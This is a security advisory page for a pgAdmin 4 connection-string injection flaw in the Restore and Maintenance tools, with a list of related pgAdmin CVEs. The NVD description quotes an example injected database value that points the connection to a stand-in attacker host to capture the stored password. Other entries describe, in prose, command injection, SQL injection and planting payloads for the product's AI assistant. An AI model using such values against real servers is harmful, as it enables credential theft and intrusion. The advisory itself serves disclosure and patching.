CVE-2026-86862
MediumCVSS 6.5Summary
The vulnerability in pgAdmin 4 affects the Restore and Maintenance tools, which pass the 'database' field directly as the --dbname argument to pg_restore and psql. A value containing an equals sign is expanded by libpq into a full connection string, potentially redirecting the connection to an attacker-controlled server. This can lead to disclosure of the decrypted stored database password and enable outbound connections from the pgAdmin host to arbitrary network addresses.
Risk Assessment
The organization risks theft of database credentials (the stored password is exported in the PGPASSWORD environment variable) and abuse of the pgAdmin host as a pivot for attacks on other systems. The issue is reachable by any authenticated user with tools_restore or tools_maintenance permission, which the default User role grants.
Recommendation
Upgrade pgAdmin 4 to version 9.18 or later, which fixes the issue by using the PGDATABASE environment variable instead of the --dbname argument. If upgrading is not possible, restrict the tools_restore and tools_maintenance permissions to trusted users only.
Other vulnerabilities in pgAdmin 4
See all- CVE-2026-86864High
In pgAdmin 4's Backup tool, the client-supplied database name was passed to pg_dump as a bare trailing positional argument without validation. Because pg_dump parses options with getopt_long, which permutes arguments, a value beginning with a dash (e.g. --file=/path) was treated as an option, overriding the previously set --file and allowing files to be written outside the File Manager storage directory. The same field also allowed connection-string injection, redirecting pg_dump to an attacker-controlled server along with the database password from the PGPASSWORD environment variable.
- CVE-2026-86861Medium
In pgAdmin 4, the File Manager save_file endpoint validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call, without O_NOFOLLOW. As a result, if the final path component was replaced with a symbolic link in the interval between the check and the write, the write followed the link and could create or overwrite an arbitrary file as the operating-system account running pgAdmin. This affects pgAdmin 4 from the introduction of the containment check in the File Manager save path before 9.18.
- CVE-2026-7819High
There is a path traversal vulnerability using symbolic links in pgAdmin 4 File Manager. An authenticated user can create a symbolic link in their directory pointing outside of it, allowing data to be written to any path accessible by the pgAdmin process.
- CVE-2026-7818High
In pgAdmin 4 FileBackedSessionManager, there is a vulnerability to deserialization of untrusted data, which can lead to remote code execution at the operating system level. This issue arises from the lack of proper integrity checks before deserializing session file contents.
- CVE-2026-7816High
In pgAdmin 4 before version 9.15, there is an OS command injection vulnerability (CWE-78) in the Import/Export query export feature. An authenticated user could inject malicious commands, leading to arbitrary command execution on the pgAdmin server or arbitrary file writes.
- CVE-2026-7815High
A SQL injection vulnerability in the pgAdmin 4 Maintenance Tool allows an authenticated user with tools_maintenance permissions to execute arbitrary SQL commands on the PostgreSQL server. Exploiting this vulnerability could lead to privilege escalation and execution of operating system commands on the database host.
- CVE-2026-86863Critical
In pgAdmin 4, the 'webserver' authentication source was vulnerable because WebserverAuthentication.get_user() fell back to reading the username directly from inbound HTTP request headers when the WSGI/CGI environment lookup returned nothing. As a result, any client able to reach pgAdmin could supply that header itself and authenticate as any username, including an existing Administrator, without a password. The issue affects versions from 6.2 before 9.18 and only applies when 'webserver' is enabled in AUTHENTICATION_SOURCES.
- CVE-2026-17566Critical
A vulnerability in pgAdmin 4 allows remote code execution (RCE) via injection into the Import/Export Data tool. The validation function incorrectly handles backslashes in SQL strings, enabling bypass of protections and addition of a TO PROGRAM clause to psql commands.
- CVE-2026-17351Critical
A vulnerability in pgAdmin 4 (versions 9.13 to 9.16) allows bypassing the CVE-2026-12045 fix by injecting SQL queries into the AI assistant. An attacker can plant a malicious payload in an object read by the assistant, leading to execution of multiple SQL statements, including write or remote code execution.
- CVE-2026-17349Critical
In the adhoc_connect_server function in pgAdmin 4 9.0-9.16, when a non-owner user clones a server, all columns including credentials (passwords) and ownership flags are copied. This allows an attacker to take over the cloned server and use database passwords belonging to another user (e.g., an administrator).
Original NVD description (English source)
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.